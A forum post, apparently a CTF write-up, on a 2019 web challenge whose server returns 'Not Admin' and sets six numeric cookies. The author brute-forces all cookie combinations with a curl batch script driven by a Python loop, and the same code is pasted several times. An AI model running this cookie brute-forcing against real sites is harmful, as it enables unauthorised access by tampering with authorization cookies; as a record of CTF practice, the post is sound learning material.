首页
社区
课程
招聘
[原创] CTF2019-3-07 web svr wp
发表于: 2019-9-18 17:07 2652

[原创] CTF2019-3-07 web svr wp

2019-9-18 17:07
2652
第一次做这类的。
打开网页 http://154.8.174.214:8080/   返回  Not Admin 。莫名其妙。

用curl 可以收发内容观察。
C:\Users\Administrator>C:\Windows\System32\curl.exe -i  http://154.8.174.214:8080
HTTP/1.1 200 OK
Date: Wed, 18 Sep 2019 09:03:10 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: key0=0
Set-Cookie: key1=0
Set-Cookie: key2=0
Set-Cookie: key3=0
Set-Cookie: key4=0
Set-Cookie: key5=0
Content-Length: 9
Content-Type: text/html; charset=UTF-8

Not Admin

C:\Users\Administrator>C:\Windows\System32\curl.exe -i  http://154.8.174.214:8080
HTTP/1.1 200 OK
Date: Wed, 18 Sep 2019 09:03:10 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: key0=0
Set-Cookie: key1=0
Set-Cookie: key2=0
Set-Cookie: key3=0
Set-Cookie: key4=0
Set-Cookie: key5=0
Content-Length: 9
Content-Type: text/html; charset=UTF-8

Not Admin

反馈为Not Admin。中间为一些Cookie。可以尝试设置这些Cookie。
编写脚本,输入 6 个 cookie。传入。当返回改变时,输出到日志中。
@setlocal EnableDelayedExpansion
set cmdd=C:\Windows\System32\curl.exe  -b "key0=%1; key1=%2; key2=%3; key3=%4; key4=%5; key5=%6"  http://154.8.174.214:8080
echo %cmdd%
for /F "DELIMS=-" %%I in ( '!cmdd!' ) do (
	if "%%I" equ "Not Admin" (  echo ok  key0=%1; key1=%2; key2=%3; key3=%4; key4=%5; key5=%6 	) else (
	echo key0=%1; key1=%2; key2=%3; key3=%4; key4=%5; key5=%6 diff!! >> 111.log
	)
)

编写Python脚本来遍历。吐槽下Python不太了解,还需要学习。
from subprocess import run

for i in range(0, 10):
    for j in range(0, 10):
        for k in range(0, 10):
            for l in range(0, 10):
                for m in range(0, 10):
                    print ("{} {} {} {} {}".format(i, j, k, l, m))
                    for n in range(0, 10):
                        commd = '1.bat {} {} {} {} {} {}'.format(i,j,k,l,m,n)
                        #os.system(commd)
                        run(commd,shell=True)

@setlocal EnableDelayedExpansion
set cmdd=C:\Windows\System32\curl.exe  -b "key0=%1; key1=%2; key2=%3; key3=%4; key4=%5; key5=%6"  http://154.8.174.214:8080
echo %cmdd%
for /F "DELIMS=-" %%I in ( '!cmdd!' ) do (
	if "%%I" equ "Not Admin" (  echo ok  key0=%1; key1=%2; key2=%3; key3=%4; key4=%5; key5=%6 	) else (
	echo key0=%1; key1=%2; key2=%3; key3=%4; key4=%5; key5=%6 diff!! >> 111.log
	)
)

编写Python脚本来遍历。吐槽下Python不太了解,还需要学习。
from subprocess import run

for i in range(0, 10):
    for j in range(0, 10):
        for k in range(0, 10):
            for l in range(0, 10):
                for m in range(0, 10):
                    print ("{} {} {} {} {}".format(i, j, k, l, m))
                    for n in range(0, 10):
                        commd = '1.bat {} {} {} {} {} {}'.format(i,j,k,l,m,n)
                        #os.system(commd)
                        run(commd,shell=True)

from subprocess import run

for i in range(0, 10):
    for j in range(0, 10):
        for k in range(0, 10):
            for l in range(0, 10):
                for m in range(0, 10):
                    print ("{} {} {} {} {}".format(i, j, k, l, m))
                    for n in range(0, 10):
                        commd = '1.bat {} {} {} {} {} {}'.format(i,j,k,l,m,n)
                        #os.system(commd)
                        run(commd,shell=True)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-9-18 17:20 被scpczc编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//